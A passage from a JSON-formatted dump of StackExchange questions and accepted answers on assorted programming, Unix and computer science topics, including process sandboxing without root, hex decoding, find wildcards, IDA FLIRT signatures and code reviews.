\\neq {\\textbf{NP}}$? I read somewhere that it would be enough, but I'm not sure.On the one hand, since any NDTM can be supplemented with a polynomial-time deterministic subroutine for $A$, having oracle access to it should not give an NDTM any more power. On the other hand though, aren't oracle TM's able to make queries about strings of any length in the oracle language? In that case, we could not jump to the conclusion that P does not equal NP, because according to my understanding, polynomial-time Turing machines (whether deterministic or non-deterministic) cannot be influenced by strings of length exponential in the length of the input string." , "title": "Can oracle arguments separate P and NP?" , "tags": "complexity theory;p vs np;oracle machines" } { "id": "_unix.6433" , "question": "Were I root, I could simply create a dummy user/group, set file permissions accordingly and execute the process as that user. However I am not, so is there any way to achieve this without being root?" , "title": "How to jail a process without being root?" , "tags": "permissions;not root user;jails" , "accepted_answer": "More similar Qs with more answers worth attention: https://stackoverflow.com/q/3859710/94687https://stackoverflow.com/q/4410447/94687https://stackoverflow.com/q/4249063/94687https://stackoverflow.com/q/1019707/94687some of the answers there point to specific solutions not yet mentioned here. (Actually, there are quite a few jailing tools with different implementation, but many of them are either not secure by design (like fakeroot, LD_PRELOAD-based), or not complete (like fakeroot-ng, ptrace-based), or would require root (chroot, or plash mentioned at http://joey.kitenet.net/blog/entry/fakechroot_warning_label). These are just examples; I thought of listing them all side-by-side, with indication of these 2 features (can be trusted?, requires root to set up?), perhaps at http://en.wikipedia.org/wiki/Operating_system-level_virtualization#Implementations.)In general, the answers there cover the full described range of possibilities and even more: virtual machines/OS(the answer mentioning virtual machines/OS)kernel extension (like SELinux)(mentioned in comments here), chrootchroot-based helpers (which however must be setUID root, because chroot requires root; or perhaps chroot could work in an isolated namespace--see below):[to tell a little more about them!]Known chroot-based isolation tools:hasher with its hsh-run and hsh-shell commands. (Hasher was designed for building software in a safe and repeatable manner.)schroot mentioned in another answer...ptraceAnother trustworthy isolation solution (besides a seccomp-based one) would be the complete syscall-interception through ptrace, as explained in the manpage for fakeroot-ng:Unlike previous implementations, fakeroot-ng uses a technology that leaves the traced process no choice regarding whether it will use fakeroot-ng's services or not. Compiling a program statically, directly calling the kernel and manipulating ones own address space are all techniques that can be trivially used to bypass LD_PRELOAD based control over a process, and do not apply to fakeroot-ng. It is, theoretically, possible to mold fakeroot-ng in such a way as to have total control over the traced process.While it is theoretically possible, it has not been done. Fakeroot-ng does assume certain nicely behaved assumptions about the process being traced, and a process that break those assumptions may be able to, if not totally escape then at least circumvent some of the fake environment imposed on it by fakeroot-ng. As such, you are strongly warned against using fakeroot-ng as a security tool. Bug reports that claim that a process can deliberatly (as opposed to inadvertly) escape fake root-ng's control will either be closed as not a bug or marked as low priority.It is possible that this policy be rethought in the future. For the time being, however, you have been warned.Still, as you can read it, fakeroot-ng itself is not designed for this purpose.(BTW, I wonder why they have chosen to use the seccomp-based approach for Chromium rather than a ptrace-based...)Of the tools not mentioned above, I have noted Geordi for myself, because I liked that the controlling program is written in Haskell.Known ptrace-based isolation tools:Geordiprootfakeroot-ng... (see also How to achieve the effect of chroot in userspace in Linux (without being root)?)seccompOne known way to achieve isolation is through the seccomp sandboxing approach used in Google Chromium. But this approach supposes that you write a helper which would process some (the allowed ones) of the intercepted file access and other syscalls; and also, of course, make effort to intercept the syscalls and redirect them to the helper (perhaps, it would even mean such a thing as replacing the intercepted syscalls in the code of the controlled process; so, it doesn't sound to be quite simple; if you are interested, you'd better read the details rather than just my answer).More related info (from Wikipedia):http://en.wikipedia.org/wiki/Seccomphttp://code.google.com/p/seccompsandbox/wiki/overviewLWN article: Google's Chromium sandbox, Jake Edge, August 2009seccomp-nurse, a sandboxing framework based on seccomp.(The last item seems to be interesting if one is looking for a general seccomp-based solution outside of Chromium. There is also a blog post worth reading from the author of seccomp-nurse: SECCOMP as a Sandboxing solution ?.)The illustration of this approach from the seccomp-nurse project:A flexible seccomp possible in the future of Linux?There used to appear in 2009 also suggestions to patch the Linux kernel so that there is more flexibility to the seccomp mode--so that many of the acrobatics that we currently need could be avoided. (Acrobatics refers to the complications of writing a helper that has to execute many possibly innocent syscalls on behalf of the jailed process and of substituting the possibly innocent syscalls in the jailed process.) An LWN article wrote to this point:One suggestion that came out was to add a new mode to seccomp. The API was designed with the idea that different applications might have different security requirements; it includes a mode value which specifies the restrictions that should be put in place. Only the original mode has ever been implemented, but others can certainly be added. Creating a new mode which allowed the initiating process to specify which system calls would be allowed would make the facility more useful for situations like the Chrome sandbox.Adam Langley (also of Google) has posted a patch which does just that. The new mode 2 implementation accepts a bitmask describing which system calls are accessible. If one of those is prctl(), then the sandboxed code can further restrict its own system calls (but it cannot restore access to system calls which have been denied). All told, it looks like a reasonable solution which could make life easier for sandbox developers.That said, this code may never be merged because the discussion has since moved on to other possibilities.This flexible seccomp would bring the possibilities of Linux closer to providing the desired feature in the OS, without the need to write helpers that complicated.(A blog posting with basically the same content as this answer: http://geofft.mit.edu/blog/sipb/33.)namespaces (unshare)Isolating through namespaces (unshare-based solutions) -- not mentioned here -- e.g., unsharing mount-points (combined with FUSE?) could perhaps be a part of a working solution for you wanting to confine filesystem accesses of your untrusted processes. More on namespaces, now, as their implementation has been completed (this isolation technique is also known under the nme Linux Containers, or LXC, isn't it?..):One of the overall goals of namespaces is to support the implementation of containers, a tool for lightweight virtualization (as well as other purposes).It's even possible to create a new user namespace, so that a process can have a normal unprivileged user ID outside a user namespace while at the same time having a user ID of 0 inside the namespace. This means that the process has full root privileges for operations inside the user namespace, but is unprivileged for operations outside the namespace.For real working commands to do this, see the answers at:Is there a linux vfs tool that allows bind a directory in different location (like mount --bind) in user space?Simulate chroot with unshareand special user-space programming/compilingBut well, of course, the desired jail guarantees are implementable by programming in user-space (without additional support for this feature from the OS; maybe that's why this feature hasn't been included in the first place in the design of OSes); with more or less complications.The mentioned ptrace- or seccomp-based sandboxing can be seen as some variants of implementing the guarantees by writing a sandbox-helper that would control your other processes, which would be treated as black boxes, arbitrary Unix programs.Another approach could be to use programming techniques that can care about the effects that must be disallowed. (It must be you who writes the programs then; they are not black boxes anymore.) To mention one, using a pure programming language (which would force you to program without side-effects) like Haskell will simply make all the effects of the program explicit, so the programmer can easily make sure there will be no disallowed effects.I guess, there are sandboxing facilities available for those programming in some other language, e.g., Java.Cf. Sandboxed Haskell project proposal.NaCl--not mentioned here--belongs to this group, doesn't it?Some pages accumulating info on this topic were also pointed at in the answers there:page on Google Chrome's sandboxing methods for Linuxsandboxing.org group" } { "id": "_webapps.1092" , "question": "Is there any way to export all the Facebook historical data from your profile (contacts, photos, videos, posts, links, comments, etc.) to a local storage?" , "title": "How do I export content from Facebook?" , "tags": "facebook;data liberation" , "accepted_answer": "This web app describes steps to achieve what you're looking for I think.UpdateIt appears this addon was removed. It used to be called ArchiveFacebook, but I don't see it on the mozilla site anymore." } { "id": "_softwareengineering.261349" , "question": "I am using MVP for creating an android application, which takes data from server and sets to activity. I am forced to create one presenter for each view.Each view is unique because each view has different textviews/labels.The presenter will read values from model and call setter method for each control in view.For second view, I will need different presenter, as I need to call some other setter methods on the view interface. This means view - presenter will have one to one relationship.Is it ok for view - presenter to have one to one relation in MVP or my approach is not correct? EDIT: I will be using one presenter for each view because I have to. Because each presenter will implement the functionality unique for each view. However that poses reusability problem. The presenters have a lot of common code. eg calling helper to load data from URL etc. So I am planning to use either the abstract factory pattern or the strategy pattern. The problem with abstract factory pattern is , if tomorrow my presenter need to extend another class, it cannot be done because i m coding in java. So is it advisable to use abstract factory pattern in java , for the presenter group?" , "title": "How can one presenter be used for multiple views in MVP" , "tags": "android;mvp;factory method" , "accepted_answer": "Yes, it is fine.Applying MVP design pattern means having MVP triplets (model-presenter-view) per every (even a bit complex) item to display. The logic goes to the model, and the presenter is there just to glue things." } { "id": "_webmaster.24235" , "question": "We are located in Israel and suppose to receive payments from all over the world, but mostly from North America and Western Europe.Can one recommend a developer friendly, reliable and simple service which I can use? (hint: PayPal is a wrong answer!)I wish Stripe were serving customers outside of US, but this is not the case yet." , "title": "I am looking for a developers friendly, simple credit card processing service for a business outside of the US. Any recommendations?" , "tags": "ecommerce;creditcard" , "accepted_answer": "Have a look at Moneybookers, http://www.moneybookers.com/ads/merchant-account/ecommerce-payment-system/I'm using their services between my different bank accounts since a couple of year and you can trust them. You can even have a Master Card linked to your account.Hope it help" } { "id": "_unix.42824" , "question": "My desktop is usually very responsive, even under heavy load. But when I copy files to a USB drive, it always locks up after some time. By lock up, I mean:Moving focus from one window to another can take 10-20sSwitching desktops can take 10-20sVideos don't update anymore (in YouTube, the audio continues to play, only the video freezes)The system load isn't exceptionally high when this happens. Sometimes, I see a lot of white on xosview indicating that the kernel is busy somewhere.At first glance, it looks as if copying files to the USB drive would interfere somehow with compiz but I can't imagine what the connection could be.Here is the output of htop:Here is the output of iostat -c -z -t -x -d 1 during a 2 minute hang:19.07.2012 20:38:22avg-cpu: %user %nice %system %iowait %steal %idle 1,27 0,00 0,38 37,52 0,00 60,84Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %utilsdg 0,00 2,00 0,00 216,00 0,00 109248,00 1011,56 247,75 677,69 0,00 677,69 4,63 100,00As you can see, only the external harddisk is active. Here is the complete log: http://pastebin.com/YNWTAkh4The hang started at 20:38:01 and ended at 20:40:19.Software information:openSUSE 12.1KDE 4.7.xFilesystems: reiserfs and btrfs on my internal harddisk, btrfs on the USB drive" , "title": "Why does my desktop lock up when I copy lots of files to a USB drive?" , "tags": "linux;kde;btrfs" , "accepted_answer": "My first guess was btrfs since the I/O processes of this file system sometimes take over. But it wouldn't explain why X locks up.Looking at the interrupts, I see this:# cat /proc/interrupts CPU0 CPU1 CPU2 CPU3 CPU4 CPU5 CPU6 CPU7 0: 179 0 0 0 0 0 0 0 IR-IO-APIC-edge timer 1: 6 0 0 0 0 0 0 0 IR-IO-APIC-edge i8042 8: 1 0 0 0 0 0 0 0 IR-IO-APIC-edge rtc0 9: 0 0 0 0 0 0 0 0 IR-IO-APIC-fasteoi acpi 12: 10 0 0 0 0 0 0 0 IR-IO-APIC-edge i8042 16: 3306384 0 0 0 0 0 0 0 IR-IO-APIC-fasteoi ehci_hcd:usb1, nvidia, mei, eth1Well, duh. The USB driver uses the same IRQ as the graphics card and it is first in the chain. If it locks up (because the file system does something expensive), the graphics card starves (and the network, too)." } { "id": "_unix.198537" , "question": "I'm try to make a new virtual machine but virtualbox have this error in end step :Failed to create a new session.Callee RC: NS_ERROR_FACTORY_NOT_REGISTERED (0x80040154)and in terminal this shwn for me: $ virtualbox WARNING: The vboxdrv kernel module is not loaded. Either there is no module available for the current kernel (3.16.3-1-ARCH) or it failed to load. Please reinstall the kernel module virtualbox-host-modules or if you don't use our stock kernel compile the modules with sudo dkms autoinstall You will not be able to start VMs until this problem is fixed.Qt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileCallee RC: NS_ERROR_FACTORY_NOT_REGISTERED (0x80040154)" , "title": "virtualbox can not create new virtual machine" , "tags": "arch linux;kernel;virtualbox;virtualization" } { "id": "_codereview.2751" , "question": "Last weekend I was writing a short PHP function that accepts a starting move and returns valid knight squares for that move.<?php/* get's starting move and returns valid knight moves */echo GetValidKnightSquares('e4');function GetValidKnightSquares($strStartingMove) { $cb_rows = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5, 'f' => 6, 'g' => 7, 'h' => 8); $valids = array(array(-1, -2), array(-2, -1), array(-2, 1), array(-1, 2), array(1, 2), array(2, 1), array(2, -1), array(1, -2)); $row = substr($strStartingMove, 0, 1); $col = substr($strStartingMove, 1, 1); $current_row = $cb_rows[$row]; if(!in_array($current_row, $cb_rows)) { die(Hey, use chars from a to h only!); } $current_col = $col; if($current_col > 8) { die(Hey, use numbers from 1 to 8 only!); } $valid_moves = ''; foreach ($valids as $valid) { $new_valid_row = $current_row + $valid[0]; $new_valid_col = $current_col + $valid[1]; if(($new_valid_row <= 8 && $new_valid_row > 0) && ($new_valid_col <= 8 && $new_valid_col > 0)) { $row_char = array_search($new_valid_row, $cb_rows); $valid_moves .= $row_char . $new_valid_col ; } } return Valid knight moves for knight on $strStartingMove are: $valid_moves;} ?>Could you please take a look at it and share your thoughts about it? The code can also be found here.I was kinda 'criticized' about the code. One guy said it's messy, too long and not 'clever' enough. So I needed second opinion on it, a code review if you like. I think there is a place for improvement (always), but for me this was the first time I've coded something related with Chess. I've found something like this that caught my attention:if ((abs(newX-currentX)==1 and abs(newY-currentY)==2) or (abs(newX-currentX)==2 and abs(newY-currentY)==1)) { /* VALID MOVE FOR A KNIGHT */}else { /* INVALID MOVE FOR A KNIGHT */}" , "title": "Need help with valid knight moves in Chess" , "tags": "php" } { "id": "_vi.10479" , "question": "I know that for options and mappings I can use verbose (set|map) XXX(?)? to find out which script has set an option or a mapping at last. However, this does not work for variables and the let command. At the same time using let g: only shows me the function or line etc. where a variable was set but not the scriptfile.Is there any way to get to achieve this?" , "title": "How to figure out which script set a variable?" , "tags": "variables" } { "id": "_softwareengineering.178030" , "question": "I have an app with the following three tablesEmail (emailNumber, Address)Recipients (reportNumber, emailNumber, lastChangeTime, status)Report (reportNumber, reportName)I have a C# application that uses inline queries for data selection.I have a select query that selects all reports and their Recipients. Recipients are selected as comma separacted string.During updating, I need to check concurrency. Currently I am using MAX(lastChangeTime) for each reportNumber. This is selected as maxTime. Before update, it checks that the lastChangeTime <= maxTime. --//It works fineOne of my co-developers asked why not use GETDATE() as maxTime rather than using a MAX operation. That is also working. Here what we are checking is the records are not updated after the record selection time.Is there any pitfalls in using GETDATE() for this purpose?" , "title": "Concurrency checking with Last Change Time" , "tags": "c#;sql;concurrency" } { "id": "_cogsci.13873" , "question": "Are there any studies on the effects of long term imprisonment on cognitive abilities? I'm looking for something which focuses on cognitive impairment rather than other psychological issues." , "title": "Cognitive impairment in long term prisoners" , "tags": "cognitive psychology" } { "id": "_codereview.141932" , "question": "I need to compress some text, I'm wondering if my program could be made more efficient. The only things I could think of would be the 'import re' and turning the filename input and read part as a function.import refrom ast import literal_eval################## Compression #####################def comp(): while True: try: fileName=input('Please input text file name in current directory: ')+'.txt' a=open(fileName) break except: print('No Such text file in current directory name: '+fileName) content = a.read() a.close() p = re.compile(r'[\\w]+|[\\W]') split = p.findall(content) b = [] wordList = [] for word in split: try: r = wordList.index(word) + 1 except ValueError: wordList.append(word) r = len(wordList) b.append(r) f=open('compressed.txt', 'w') f=open('compressed.txt', 'r+') f.write(str(wordList)+'\\n'+str(b)) f.close()###################################################################### De-Compression ##################def decomp(): while True: try: fileName=input('Please input text file name in current directory: ')+'.txt' a=open(fileName) break except: print('No Such text file in current directory name: '+fileName) words = literal_eval(a.readline().rstrip('\\n')) pos = literal_eval(a.readline()) temp = [] for index in pos: temp.append(words[index-1]) sentence = ''.join(temp) print(sentence)####################################################" , "title": "Compress and decompress a string from a file" , "tags": "python;python 3.x;file;compression;import" } { "id": "_unix.277687" , "question": "I'm trying to recover from an accidental format of ext4 1TB HDD. I tried virtually all linux tools (extundelete, ext3grep, ext4magic, testdisk, photorec, and others).Some that worked: testdisk, photorec and foremost. They recovered some 300000 files, but they didn't recover the hdd folder structure which is very important to me because I had many projects and important documents in this HDD.They just recovered files and put them in folders divided by extension or some in a unique folder. extundelete couldn't find anything. ext3grep and ext4magic crashed.I'm trying for more than a week to find a tool that recover folder structure with no luck.Is this possible ? I mean recover files inside the correct folder structure ?HistoryI accidentally formated it and immediately shutted down the computer. It was a data only HDD with no file system files in it. So I initially thought I had a good chance of recovering it. But I'm start to think I'll have to deal with organizing thousands of files.I have searched many forums, and help sites like this and couldn't find anything that works. In order to recover from it I bought a Blackarmor NAS with 6TB space. So I have plenty of room to any recovery operation.All utilites mentioned above, as long as all the recovered files were recovered not from the unit itself, but from an image I've made with dd.The HDD itself is physically OK. No damaged sectors or malfunctions.Any advice welcome.UpdateAt this point I'm not getting anywhere so I sent the physical HDD to a data recovery company. Any advice about recovering files and folder structure can only be based now on the image I have." , "title": "Recover formated ext4 partition with file structure" , "tags": "data recovery;ext4" } { "id": "_cstheory.8758" , "question": "The paper Symbolic Finite State Transducers, Algorithms and Applications by Bjorner et al (to appear at POPL 2012) describes one type of finite-state, infinite-alphabet automata/transducers by using predicates from any decidable theory as the alphabet. The paper also references quite a few others including:Automata and logics for words and trees over an infinite alphabet by Segoufin, Finite memory automata by Kaminski and Francez, FOCS 1990I'm wondering whether there's a good survey on different infinite alphabet automata models." , "title": "Survey on infinite alphabet automata?" , "tags": "reference request;fl.formal languages;automata theory;survey" } { "id": "_codereview.154603" , "question": "I am parsing ICD-10 codes and have achieved a result that satisfies my base case, but I'm worried about how fragile my method is:import xml.etree.ElementTree as ET# A sample of the larger XML file I'm parsingdata = '''<diag><name>A00</name><desc>Cholera</desc><diag> <name>A00.0</name> <desc>Cholera due to Vibrio cholerae 01, biovar cholerae</desc> <inclusionTerm> <note>Classical cholera</note> </inclusionTerm></diag><diag> <name>A00.1</name> <desc>Cholera due to Vibrio cholerae 01, biovar eltor</desc> <inclusionTerm> <note>Cholera eltor</note> </inclusionTerm></diag><diag> <name>A00.9</name> <desc>Cholera, unspecified</desc></diag></diag>'''# Create the treetree = ET.ElementTree(ET.fromstring(data))# the `iter` method returns all tags in a given tree# I'm just grouping the tags and texts heredef get_all_elements(tree): return [(elem.tag, elem.text) for elem in tree.iter()]# This will return the desired elements from my treedef parse_elements(tree): # First, get all of the elements in the tree elements = get_all_elements(tree) to_return = {} # This is what I think is too fragile. I'm basically looking # ahead for each element to see whether the next two elements # match the diag -> name -> desc sequence. But this indexing seems # to be too fragile at scale. for idx, elem in enumerate(elements): if 'diag' in elem and 'name' in elements[idx+1] and 'desc' in elements[idx+2]: name = elements[idx+1] desc = elements[idx+2] to_return[name[1]] = desc[1] return to_returnres = parse_elements(tree)Let's see what's in res:for k,v in res.items(): print(name (code): , k, \\n desc: , v)name (code): A00.9 desc: Cholera, unspecifiedname (code): A00.0 desc: Cholera due to Vibrio cholerae 01, biovar choleraename (code): A00 desc: Choleraname (code): A00.1 desc: Cholera due to Vibrio cholerae 01, biovar eltorSo, I achieve my desired output, but I keep thinking there much be a better way to parse this XML. Unfortunately there's no <diag><subdiag></subdiag></diag>-type of hierarchy. Even subdiagnoses are labeled with the <diag> tag. I suppose the above is my attempt at recursion -- although I have found true recursion tough with the current tag-naming. At the end of the day, I just need the name: desc pairs.Edit:There's also this approach:names = [x.text for x in ET.fromstring(data).findall('.//name')]descs = [x.text for x in ET.fromstring(data).findall('.//desc')]res = zip(names, descs)But I don't think this approach scales well, as the number of elements in names and descs differed by about 1000 when I tested this on the larger XML file. There were mismatches between codes and descriptions when I validated on actual codes." , "title": "Parsing XML to get all elem.tag: elem.text pairs" , "tags": "python;xml" , "accepted_answer": "Since the latter approach resulted into broken mismatched pairs, looks like there are codes with no descriptions.If you want to capture only the diagnosis codes that have descriptions (existing desc nodes), you can enforce this rule with the following XPath expression:.//diag[name and desc]The problem though is that xml.etree.ElementTree supports a limited set of XPath features and for this particular expression to work, you need to switch to lxml.etree. But, it will come with a performance boost, better memory usage and a richer functionality. It's worth it.You can also simplify the way you extract codes by using findtext() and a dictionary comprehension:from pprint import pprintimport lxml.etree as ETdata = your XML hereroot = ET.fromstring(data)result = {diag.findtext(name): diag.findtext(desc) for diag in root.xpath(.//diag[name and desc])}pprint(result)" } { "id": "_unix.360888" , "question": "I'm debugging an app for a client and I found the information from the DB which could be solution. I ask the client to extract it but unfortunately the client sent me the raw data in hexadecimal...I ask the client to resend me the plain text from the DB tools but awaiting their response I'm looking for a bash solution.I know the encoded data is a UTF-8 encoded string: is there a way to decode it with Unix tools?" , "title": "How to get UTF8 from a hex variable?" , "tags": "ubuntu;character encoding" , "accepted_answer": "With xxd (usually shipped with vim)$echo 5374c3a97068616e650a | xxd -p -rStphaneIf your locale's charset (see output of locale charmap) is not UTF-8 (but can represent all the characters in the encoded string), add a | iconv -f UTF-8.If it cannot represent all the characters, you could try | iconv -f UTF-8 -t //TRANSLIT to get an approximation." } { "id": "_unix.285338" , "question": "What is the meaning of the ? sign in the following command?find /foo/path -name \\?" , "title": "find: meaning of the \\? sign as a value of the name parameter" , "tags": "command line;find;wildcards" , "accepted_answer": "The ? is part of a mechanism called pathname expansion in the shell.Colloquially, the shell mechanism is called globing. The basic glob makes use just of three characters: * ? and [ that build patterns. An asterisk * means:Any character in any quantity (any string).A question mark (?) means:Any character one time.The square braces define a character list [ ], and mean:Only the characters inside the list counted once. There may exist negated lists.Those characters are used in a similar way in the command find. In find, they are called patterns.That means that there are two entities using the same characters to perform the same task (globing). One has to be told to ignore those characters. The usual way to tell the shell to avoid interpretation of special characters is to quote them. Either with 'single quotes', double quotes or with a backslash:'?'?\\?That is why the patterns for find are quoted:find /path/foo -name \\?What that line means is:List all files and directories starting from the directory /path/foo that have a name of only one character wide.about /Note that ? in find's pattern expansion may match a /.A pattern in find can match a / as specified by POSIX inside the operands section for the find command:-path pattern The primary shall evaluate as true if the current pathname matches pattern using the pattern matching notation described in Pattern Matching Notation. The additional rules in Patterns Used for Filename Expansion do not apply as this is a matching operation, not an expansion.Again: additional rules ... for Filename Expansion (as in a shell) do not apply as this is a matching operation, not an expansion.To show that this is true:$ mkdir test; cd test$ mkdir -p a/b/c/d$ find a -path 'a?b'a/b$ find . -path './a?b?c?d'./a/b/c/dOf course, the -name option of find will match the basename of a file. That, by definition, could not have a / as is not possible to match a / in a basename." } { "id": "_datascience.17204" , "question": "Here is a simple example:In a 3D space, if point A is the geocenter of a planet, point B is its north pole, and point C has a fixed latitude/longitude on the planet surface. Then the position of point C can be inferred from the position of A and B (using geodetic projection).Now assuming that I have thousands of points in the space, their incomplete relations are in a big multipgraph. I would like to deduce the position of a point that is initially unknown. What is the best algorithm to search search through all its relations and try to deduce it?" , "title": "What is the best algorithm for deterministic belief propagation?" , "tags": "graphs;graphical model" } { "id": "_reverseengineering.175" , "question": "I've seen this referenced in a couple of other questions on this site. But what's a FLIRT signature in IDA Pro? And when would I create my own for use?" , "title": "What is a FLIRT signature?" , "tags": "ida;flirt signatures" , "accepted_answer": "FLIRT stands for Fast Library Identification and Recognition Technology.Peter explained the basics, but here's a white paper about how it's implemented:https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtmlTo address those issues, we created a database of all the functions from all libraries we wanted to recognize. IDA now checks, at each byte of the program being disassembled, whether this byte can mark the start of a standard library function. The information required by the recognition algorithm is kept in a signature file. Each function is represented by a pattern. Patterns are first 32 bytes of a function where all variant bytes are marked.It's somewhat old (from IDA 3.6) but the basics still apply.To create your own signatures, you'll need FLAIR tools, which can be downloaded separately.(FLAIR means Fast Library Acquisition for Identification and Recognition)The IDA Pro book has a chapter on FLIRT and using FLAIR tools." } { "id": "_codereview.9193" , "question": "In my time off I thought I'd implement some idiomatic data structures, starting with a linked list. Here's my current version: #include <iostream>using namespace std;struct node{int data;node *next;};void traverseList(node *head){ for(node *iterator = head ; iterator ; iterator = iterator->next) { cout << iterator->data << endl; } }int length(node *head){ int count = 0; for(node *iterator = head ; iterator ; iterator = iterator->next, count++) {} return count;}int main(){ //create the head of the list, assign it data node *head = new node; head->data = 0; //create a {1,2,3} list node *first = new node; node *second = new node; node *third = new node; //assign appropriate data first->data = 1; second->data = 2; third->data = 3; //assign pointees first->next = second; second->next = third; third->next = 0; //give the head the pointee head->next = first; traverseList(head); int listLength = length(head); printf(List Length: %d\\n, listLength); return 0;}I've already changed the while loops I originally used (e.g.):void traverseList(node *head){ if(head != 0){ while(head->next !=0){ cout << head->data << endl; head = head->next; } //one extra for the node at the end cout << head->data << endl; }}to the for loops above. Is there anything else I should keep in mind? I'm following the Stanford CS linked list basics and problem set." , "title": "Linked List review" , "tags": "c++" , "accepted_answer": "This is C++, not C. Therefore, your linked list class should contain the methods for operating on the list, and it shouldn't expose implementation details like nodes. For traversing the list, provide iterators. You should also make it a template so that it can be used with any typeThat's the general picture. More specifically:If you insist on traversing with a dedicated function for it, make it take a function (or functor!) so that anything can be done with the nodes.You've not created any mechanism for deleting the nodes. Your class should do that in its destructor.You're not doing a lot of error checking that you should be. That's not as relevant when you turn it into a class, but making sure head isn't null is very important. You're doing that in traverse now, but length also needs it.To summarise, if the user of your class sees a single pointer, you can be sure you're doing it wrong." } { "id": "_unix.87484" , "question": "After installing updates on Fedora 19 (kernel 10.3.7-200.fc19.x86_64) the DE freezes whenever I log in. Using the virtual consoles doesn't work.One time I even got this kernel panic:http://i.stack.imgur.com/h5q5n.jpgI have other kernels to try (10.3.5 and 10.3.3) and on them I don't get the freezes or the kernelpanics.Can you help me?" , "title": "Kernel Panic after Fedora 19 Update" , "tags": "fedora;kernel;kernel panic;freeze" } { "id": "_unix.88579" , "question": "In modern web browsers and other software with text content, Space scrolls down more or less a screenful. ShiftSpace scrolls up in everything but less.How can one use ShiftSpace to scroll up in less? Or alternatively, is there another pager (POSIX compatibility is my only requirement) that could do the job?I was told some terminal emulators, and some terminal UI libraries (ncurses?), don't recognize ShiftSpace. Is that a valid issue?" , "title": "Shift-Space in less" , "tags": "terminal;less;pager" } { "id": "_unix.352708" , "question": "I have the ~/.ssh/config file I'm using to manage different keys from different hosts.However, each time a new key is added, I'll need to also manually add this to ssh agent via ssh-add for separate reasons.Is there a way this can be achieved automatically? if yes, how?P.S: If it's any useful, I'm also using a macbook (osx)" , "title": "Is it possible to auto copy keys from ssh config to ssh agent? how?" , "tags": "ssh;osx;ssh agent" } { "id": "_codereview.128737" , "question": "I'm creating a counter picker for a game called League of Legends, and for this I need to compare effects of abilities, which each champion has. For this I'm using 4 lists of champions, the returnList, the banned champion list, the enemy champions list, annd the allied champion lists. However, seeing that the returnlist, where the champions get there points, contains around 120 instances, which all have 5 abilities, which in turn have around 5 effects each, I feel that my current solution of nesting foreach loops might be really slow. I was wondering how I could best optimise thisforeach (CounterChampion champion1 in enemyList){ foreach (CounterAbility ability1 in champion1.Abilities) { foreach (string effects1 in ability1.Effects) { foreach (CounterChampion champion2 in returnList) { foreach (string effects2 in champion2.Abilities.SelectMany(ability2 => ability2.Effects)) { if (CounterEffectExists(effects2, effects1, CounterEffect.EffectType.Counters)) { champion2.AddPoints(1); } if (CounterEffectExists(effects1, effects2, CounterEffect.EffectType.Counters)) { champion2.AddPoints(-1); } } } } }}foreach (CounterChampion champion1 in banList){ foreach (CounterAbility ability1 in champion1.Abilities) { foreach (string effects1 in ability1.Effects) { foreach (CounterChampion champion2 in returnList) { foreach (string effects2 in champion2.Abilities.SelectMany(ability2 => ability2.Effects)) { if (CounterEffectExists(effects1, effects2, CounterEffect.EffectType.Counters)) { champion2.AddPoints(1); } } } } }}foreach (CounterChampion champion1 in allyList){ foreach (CounterAbility ability1 in champion1.Abilities) { foreach (string effects1 in ability1.Effects) { foreach (CounterChampion champion2 in returnList) { foreach (string effects2 in champion2.Abilities.SelectMany(ability2 => ability2.Effects)) { if (CounterEffectExists(effects2, effects1, CounterEffect.EffectType.WorksWith)) { champion2.AddPoints(1); } if (CounterEffectExists(effects1, effects2, CounterEffect.EffectType.WorksWith)) { champion2.AddPoints(1); } } } } }}returnList.Sort( delegate (CounterChampion c1, CounterChampion c2) { return c1.GetPoints().CompareTo(c2.GetPoints()) * -1; });return returnList;" , "title": "Optimise nested loops used to compare champions which have abilities which have effects" , "tags": "c#;performance" , "accepted_answer": "Well the inner loop is something like 120*5*5 => 1200 cycles and I really don't know if it can become an issue with today's PC power. But improvements can always be made, and reading your code, I see that some lines are duplicated : foreach (CounterChampion champion2 in returnList) { foreach (string effects2 in champion2.Abilities.SelectMany(ability2 => ability2.Effects)) {As as first step toward performance and code structuration, I suggest to compute the ability/effect in returnList once, and reuse it after. Typically, you may have something like this :class EffectByChampion{ CounterChampion Champion, List<string> Effects}then you may fill the following list ONCEList<EffectByChampion>and after you may reuse it 3 times through your existing code with : foreach (string effects1 in ability1.Effects) { foreach(EffectByChampion effectByChampion in EffectByChampionList) { foreach(string effects2 in effectByChampion)This way, you have 3 foreach loops removed. Hope this help !" } { "id": "_codereview.164086" , "question": "I have a registration form. Step 1 user creates an account. As user creates an account I need to authenticate user with the created account. in my account.service.ts I have following. Is this the best way to handle this? and how can improve this to handle errors from 2 different http calls? public createAccount(reg: CreateUserRequestModel): Observable<any> { return this.apiService.post('api/register/account', reg) .flatMap(()=>{ return this.authenticationService.authenticate(reg.emailAddress, reg.password) }).map((response)=>{ return response.json() }) .catch((error: any) => { return Observable.throw(error.json()); }); }" , "title": "Angular 2 / rxjs chaining HTTP calls" , 